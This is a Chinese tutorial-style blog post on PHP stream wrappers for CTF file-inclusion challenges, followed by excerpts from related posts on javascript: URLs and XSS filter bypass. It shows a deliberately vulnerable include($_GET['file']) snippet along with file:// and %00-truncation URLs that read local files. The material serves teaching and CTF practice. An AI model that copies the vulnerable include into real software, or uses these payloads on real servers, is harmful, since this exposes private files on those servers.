PHP伪协议

PHP伪协议

首先我们需要先了解一下我们在CTF中可能遇到的文件包含函数:

1.  include      2.  require      3.  include_once     4.  require_once    5.  highlight_file

6.  show_source   7.  readfile   8.  file_get_contents   9.  fopen   10. file(比较常见)

PHP伪协议事实上就是支持的协议与封装协议(12种)

a.  file:// — 访问本地文件系统

b.  http:// — 访问 HTTP(s) 网址

c.  ftp:// — 访问 FTP(s) URLs

d.  php:// — 访问各个输入/输出流(I/O streams)

e.  zlib:// — 压缩流

f.  data:// — 数据(RFC 2397)

g.  glob:// — 查找匹配的文件路径模式

h.  phar:// — PHP 归档

i.  ssh2:// — Secure Shell 2

j.  rar:// — RAR

k. ogg:// — 音频流

l.  expect:// — 处理交互式的流

0x01 是否需要截断

a.不需要截断

1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt
2 <?php
3 include($_GET[‘file‘])
4 ?>

b.需要截断 (在php版本<=5.2中进行测试是可以使用%00截断的)

1 http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00
2 <?php
3 include($_GET[‘file‘].‘.php‘)
4 ?>

0x02 file://协议

file://协议在双off的情况下也是可以正常使用的。

allow_url_fopen :off/on

allow_url_include:off/on



file://用于访问本地文件系统,在CTF中常用来读取本地文件。

使用方法:file://文件的绝对路径和文件名。

Eg:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

0x03 php://协议

php://协议的使用条件:

1.  不需要开启allow_url_fopen

2.  php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。



PHP伪协议

原文地址:https://www.cnblogs.com/So7cool/p/9795712.html

时间: 2024-10-10 15:00:37

PHP伪协议的相关文章

javascritp伪协议

[javascritp伪协议] 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行.如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开.这样的URL如下所示: 1 javascript:var now = new Date(); "<h1>The time is:</h

【JavaScript】javascript中伪协议(javascript:)使用探讨

javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行. 比如下面这个死链接: <a href="javascript:void(0)">No response link</a> 将javascript代码添加到客户端的方法是把它放置在伪协议说明符号 javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运

JavaScript中伪协议 javascript:研究

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行.如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开.这样的URL如下所示: javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

JavaScript伪协议

[javascript 伪协议] 将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中.这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行.如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开.这样的URL如下所示: 1 javascript:var now = new Date(); "<h1>The time is:</

php 伪协议

最近php伪协议的各种神奇妙用好像突然又常常提到了,php中支持的伪协议有下面这么多 1 2 3 4 5 6 7 8 9 10 11 12 file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) zlib:// - 压缩流 data:// - 数据(RFC 2397) glob:// - 查找匹配的文件路径模式 phar:// - PHP 归档 ssh2

&quot;javascript:&quot; 伪协议与平稳退化

"javascript:"伪协议是一种非标准化协议,其可以让我们通过一个链接调用javascript 函数.例如:<a href="javascript:pop('http://www.xxx');">Example</a> 但是这样也有一些问题,那就是这种形式在支持伪协议的浏览器中可以使用,但是老旧的浏览器则会尝试打开这个链接并且报错. 同时随着一些用户操作'禁用javascript'(不得不说,部分用户会禁用js以阻止一些网页弹窗,而一些

filter_var 函数()使用javascript伪协议绕过执行xss

escape 过滤器来过滤link,而实际上这里的 escape 过滤器,是用PHP内置函数 htmlspecialchars 来实现的 htmlspecialchars 函数定义如下: htmlspecialchars:(PHP 4, PHP 5, PHP 7) 功能 :将特殊字符转换为 HTML 实体 定义 :string htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$

PHP RFI/伪协议

一道简单的题,学习远程文件包含与伪协议 题目描述: 方法一: 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?>"; $b = fopen("a.php","w") or die("123!"); fwrite($b,$a); fclose($b); ?> 访问: http://ip1/index.php?url=

LFI &amp; RFI &amp; PHP封装协议之安全问题研究

目录 1. 文件包含的基本概念 2. LFI(Local File Include) 3. RFI(Remote File Include) 4. PHP中的封装协议(伪协议).PHP的流式文件操作模式所带来的问题 1. 文件包含的基本概念 严格来说,文件包含漏洞是"代码注入"的一种."代码注入"这种攻击,其原理就是注入一段用户能控制的脚本或代码,并让服务器端执行."代码注入"的典型代码就是文件包含(File Inclusion),我的理解是叫&